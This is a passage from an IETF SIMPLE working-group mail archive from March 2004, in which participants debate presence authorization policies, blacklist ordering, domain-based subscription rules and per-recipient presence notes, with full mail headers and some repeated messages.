	id 1B6XKm-0005fO-D5
	for simple-web-archive@optimus.ietf.org; Thu, 25 Mar 2004 11:03:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03197
	for <simple-web-archive@ietf.org>; Thu, 25 Mar 2004 11:03:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6XKj-00036x-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 11:03:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6XIN-0002aG-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 11:01:28 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6XGD-0002Il-0F; Thu, 25 Mar 2004 10:59:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6X2r-0002XF-2Z; Thu, 25 Mar 2004 10:45:25 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6WzZ-0001FB-6p
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 10:42:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01221
	for <simple@ietf.org>; Thu, 25 Mar 2004 10:41:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6WzW-00018C-00
	for simple@ietf.org; Thu, 25 Mar 2004 10:41:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6Wyd-000171-00
	for simple@ietf.org; Thu, 25 Mar 2004 10:41:04 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Wxr-00012y-00
	for simple@ietf.org; Thu, 25 Mar 2004 10:40:15 -0500
Received: from dynamicsoft.com ([63.113.46.8])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2PFdmNr024057;
	Thu, 25 Mar 2004 10:39:49 -0500 (EST)
Message-ID: <4062FD37.6070406@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: Re: supporitng blacklists, was: Re: [Simple] Comments on: First draft
 of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com> <4060F169.3090306@cs.columbia.edu> <40613FE8.909@dynamicsoft.com> <4061967C.4070801@cs.columbia.edu>
In-Reply-To: <4061967C.4070801@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 10:39:35 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

inline.

Henning Schulzrinne wrote:

> 
>>> I think the concept of 'everybody gets to ask for permission before 
>>> subscribing except bad guys A, B and C who I've already told to get 
>>> lost' is useful and might implementable by an appropriate ordering of
>>>  actions. For example, if you order actions as
>>>
>>> known_reject (highest), permit, ask, dont_bother (lowest, default)
>>>
>>> the right thing happens. However, caveats about file merging apply.
>>
>>
>>
>> Henning - I dont understand how this is privacy safe. In your 
>> ordering, there is not a strictly increasing amount of information 
>> revealed as the values increase.
> 
> 
> The idea is 'known reject' trumps all other values. Thus, if your 
> identity matches such a rule, it gets bounced even if a more 
> encompassing rule allows to request permission.

I understand that; its definitely a change in the model though, and 
could be confusing to users to have this special case where the behavior 
is different.


> 
> This is unnecessary if we agree that global blacklists are a bad idea 
> even for the subscription (as opposed to information delivery) phase. My 
> notion is only needed if you want to support the notion:
> 
> "Everybody in the world, in any domain, gets to *ask* to subscribe to my 
> presence, but Alice, Bob and Carol have already been told to take a hike 
> and thus shouldn't even be able to ask."

The proposal doesnt solve the problem that made wildcards problematic to 
begin with, which was the ease of obtaining identities within certain 
domains. I can still be bothered by the same person who just keeps 
signing up for more yahoo accounts.


> 
> Is this the type of rule we want to be to support?

I'm inclined to say no; I'd like to see if some kind of enumerated 
domain listing or something would address Markus' concern.

-Jonathan R.



-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 25 12:00:18 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06787
	for <simple-archive@ietf.org>; Thu, 25 Mar 2004 12:00:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6YDM-00072p-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 12:00:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6YCW-00071S-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 11:59:28 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6YCG-0006zS-00; Thu, 25 Mar 2004 11:59:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6YC7-0003KH-8O; Thu, 25 Mar 2004 11:59:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6YBb-0003Ie-En
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 11:58:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06726
	for <simple@ietf.org>; Thu, 25 Mar 2004 11:58:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6YBa-0006y9-00
	for simple@ietf.org; Thu, 25 Mar 2004 11:58:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6YAn-0006vR-00
	for simple@ietf.org; Thu, 25 Mar 2004 11:57:42 -0500
Received: from imr2.ericy.com ([198.24.6.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6YAA-0006pC-00
	for simple@ietf.org; Thu, 25 Mar 2004 11:57:02 -0500
Received: from eamrcnt716.exu.ericsson.se (eamrcnt716.exu.ericsson.se [138.85.90.247])
	by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i2PGuWfX007094
	for <simple@ietf.org>; Thu, 25 Mar 2004 10:56:32 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt716.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Thu, 25 Mar 2004 10:54:11 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <H13ZLGNR>; Thu, 25 Mar 2004 10:56:21 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C96B1@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        Henning Schulzrinne
	 <hgs@cs.columbia.edu>
Cc: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: RE: supporitng blacklists, was: Re: [Simple] Comments on: First d
	raft of text on semantic-based authorization policies [exceptions]
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 25 Mar 2004 16:54:11.0875 (UTC) FILETIME=[CC303F30:01C41289]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 10:54:40 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

> 
> 
> > 
> > Is this the type of rule we want to be to support?
> 
> I'm inclined to say no; I'd like to see if some kind of enumerated 
> domain listing or something would address Markus' concern.
> 
That is a better approach and more realistic that using any. 

Rgds/gf

> -Jonathan R.
> 
> 
> 
> -- 
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 25 12:02:17 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06873
	for <simple-archive@odin.ietf.org>; Thu, 25 Mar 2004 12:02:17 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6YDp-0003WS-I2
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 12:01:40 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2PH0csJ013513
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 12:00:38 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6YDe-0003Uy-0i
	for simple-web-archive@optimus.ietf.org; Thu, 25 Mar 2004 12:00:38 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06805
	for <simple-web-archive@ietf.org>; Thu, 25 Mar 2004 12:00:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6YDN-00072x-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 12:00:21 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6YCX-00071Z-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 11:59:29 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6YCG-0006zS-00; Thu, 25 Mar 2004 11:59:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6YC7-0003KH-8O; Thu, 25 Mar 2004 11:59:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6YBb-0003Ie-En
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 11:58:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06726
	for <simple@ietf.org>; Thu, 25 Mar 2004 11:58:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6YBa-0006y9-00
	for simple@ietf.org; Thu, 25 Mar 2004 11:58:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6YAn-0006vR-00
	for simple@ietf.org; Thu, 25 Mar 2004 11:57:42 -0500
Received: from imr2.ericy.com ([198.24.6.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6YAA-0006pC-00
	for simple@ietf.org; Thu, 25 Mar 2004 11:57:02 -0500
Received: from eamrcnt716.exu.ericsson.se (eamrcnt716.exu.ericsson.se [138.85.90.247])
	by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i2PGuWfX007094
	for <simple@ietf.org>; Thu, 25 Mar 2004 10:56:32 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt716.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Thu, 25 Mar 2004 10:54:11 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <H13ZLGNR>; Thu, 25 Mar 2004 10:56:21 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C96B1@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        Henning Schulzrinne
	 <hgs@cs.columbia.edu>
Cc: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: RE: supporitng blacklists, was: Re: [Simple] Comments on: First d
	raft of text on semantic-based authorization policies [exceptions]
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 25 Mar 2004 16:54:11.0875 (UTC) FILETIME=[CC303F30:01C41289]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 10:54:40 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

> 
> 
> > 
> > Is this the type of rule we want to be to support?
> 
> I'm inclined to say no; I'd like to see if some kind of enumerated 
> domain listing or something would address Markus' concern.
> 
That is a better approach and more realistic that using any. 

Rgds/gf

> -Jonathan R.
> 
> 
> 
> -- 
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 
 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 25 17:46:37 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29285
	for <simple-archive@ietf.org>; Thu, 25 Mar 2004 17:46:36 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dcU-0001Gw-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 17:46:38 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6dbW-0001EY-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 17:45:38 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6db3-0001Bq-00; Thu, 25 Mar 2004 17:45:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dav-0003nZ-M1; Thu, 25 Mar 2004 17:45:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dak-0003mf-DV
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 17:44:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29181
	for <simple@ietf.org>; Thu, 25 Mar 2004 17:44:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dah-0001B2-00
	for simple@ietf.org; Thu, 25 Mar 2004 17:44:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6dZx-00016v-00
	for simple@ietf.org; Thu, 25 Mar 2004 17:44:02 -0500
Received: from opus.cs.columbia.edu ([128.59.20.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dZJ-00010c-00
	for simple@ietf.org; Thu, 25 Mar 2004 17:43:21 -0500
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	(authenticated bits=0)
	by opus.cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2PMhJU3029091
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Thu, 25 Mar 2004 17:43:19 -0500 (EST)
Message-ID: <40636086.8020803@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: Re: alternative views, was: Re: [Simple] Comments on: First draft
 of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com> <406143AC.1030304@dynamicsoft.com>
In-Reply-To: <406143AC.1030304@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 17:43:18 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

> I'm with Ted here. I think that the current model - where there is truly 
> a "real" presence document, and policies merely define different levels 
> of access to that data - is the right one. The problem Markus has 
> raised, which is that I might want to have contradictory data sent to 

I would not call this 'contradictory' data. For free-form data, I could 
easily have

sending to boss (from calendar): note = "Meeting with customer foo about 
new product introduction"

sending to colleagues: note = "Meeting with customer"

sending to friends, particularly those without RPIDS: note = "Please 
don't IM!"

These don't contradict each other at all.



> ordering mecahnism Henning proposes is based on the assumption that its 
> the job of the presence agent to sort it out. However, I think that, in 
> the general case, this goal is unachievable. We already have identified 
> the note as one case where the PA can never sort out inconsistencies 
> because they are interpretable only by people. There are many other 
> cases too. What if my calendar app says I'm in the office today, but my 
> cell phone reports I'm in a different state? How can the PA sort that 
> out? It can't.

Again, this is not a contradiction. I can easily label three different 
tuples by class (or sphere), with different 'notes' in each. The PA then 
sends the right tuples to each recipient.


> 
> So, I would propose that it is a WATCHER problem to sort out any 
> inconsistent data. The human has to interpret the data best they can, 

This obviously does not work for the example I gave (and the one that 
I'm guessing Markus had in mind).


> based on whatever context they have. For example, my boss might see my 
> presence as "in the office and in a different state", and say to himself 
> - "oh right, Jonathan took that last minute trip today, so he probably 
> forgot to cancel that meeting, and he is likely out of state".
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 25 17:47:08 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29316
	for <simple-archive@odin.ietf.org>; Thu, 25 Mar 2004 17:47:08 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dcY-00042j-4P
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 17:46:42 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2PMkgwG015537
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 17:46:42 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dcX-00042W-VY
	for simple-web-archive@optimus.ietf.org; Thu, 25 Mar 2004 17:46:41 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29305
	for <simple-web-archive@ietf.org>; Thu, 25 Mar 2004 17:46:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dcV-0001H2-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 17:46:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6dbX-0001Eg-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 17:45:39 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6db3-0001Bq-00; Thu, 25 Mar 2004 17:45:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dav-0003nZ-M1; Thu, 25 Mar 2004 17:45:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6dak-0003mf-DV
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 17:44:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29181
	for <simple@ietf.org>; Thu, 25 Mar 2004 17:44:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dah-0001B2-00
	for simple@ietf.org; Thu, 25 Mar 2004 17:44:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6dZx-00016v-00
	for simple@ietf.org; Thu, 25 Mar 2004 17:44:02 -0500
Received: from opus.cs.columbia.edu ([128.59.20.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6dZJ-00010c-00
	for simple@ietf.org; Thu, 25 Mar 2004 17:43:21 -0500
Received: from cs.columbia.edu (chairpc.cs.columbia.edu [128.59.16.206])
	(authenticated bits=0)
	by opus.cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2PMhJU3029091
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Thu, 25 Mar 2004 17:43:19 -0500 (EST)
Message-ID: <40636086.8020803@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: Re: alternative views, was: Re: [Simple] Comments on: First draft
 of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com> <406143AC.1030304@dynamicsoft.com>
In-Reply-To: <406143AC.1030304@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 17:43:18 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

> I'm with Ted here. I think that the current model - where there is truly 
> a "real" presence document, and policies merely define different levels 
> of access to that data - is the right one. The problem Markus has 
> raised, which is that I might want to have contradictory data sent to 

I would not call this 'contradictory' data. For free-form data, I could 
easily have

sending to boss (from calendar): note = "Meeting with customer foo about 
new product introduction"

sending to colleagues: note = "Meeting with customer"

sending to friends, particularly those without RPIDS: note = "Please 
don't IM!"

These don't contradict each other at all.



> ordering mecahnism Henning proposes is based on the assumption that its 
> the job of the presence agent to sort it out. However, I think that, in 
> the general case, this goal is unachievable. We already have identified 
> the note as one case where the PA can never sort out inconsistencies 
> because they are interpretable only by people. There are many other 
> cases too. What if my calendar app says I'm in the office today, but my 
> cell phone reports I'm in a different state? How can the PA sort that 
> out? It can't.

Again, this is not a contradiction. I can easily label three different 
tuples by class (or sphere), with different 'notes' in each. The PA then 
sends the right tuples to each recipient.


> 
> So, I would propose that it is a WATCHER problem to sort out any 
> inconsistent data. The human has to interpret the data best they can, 

This obviously does not work for the example I gave (and the one that 
I'm guessing Markus had in mind).


> based on whatever context they have. For example, my boss might see my 
> presence as "in the office and in a different state", and say to himself 
> - "oh right, Jonathan took that last minute trip today, so he probably 
> forgot to cancel that meeting, and he is likely out of state".
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 25 17:52:29 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA29541
	for <simple-archive@ietf.org>; Thu, 25 Mar 2004 17:52:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6diB-0001ZB-00
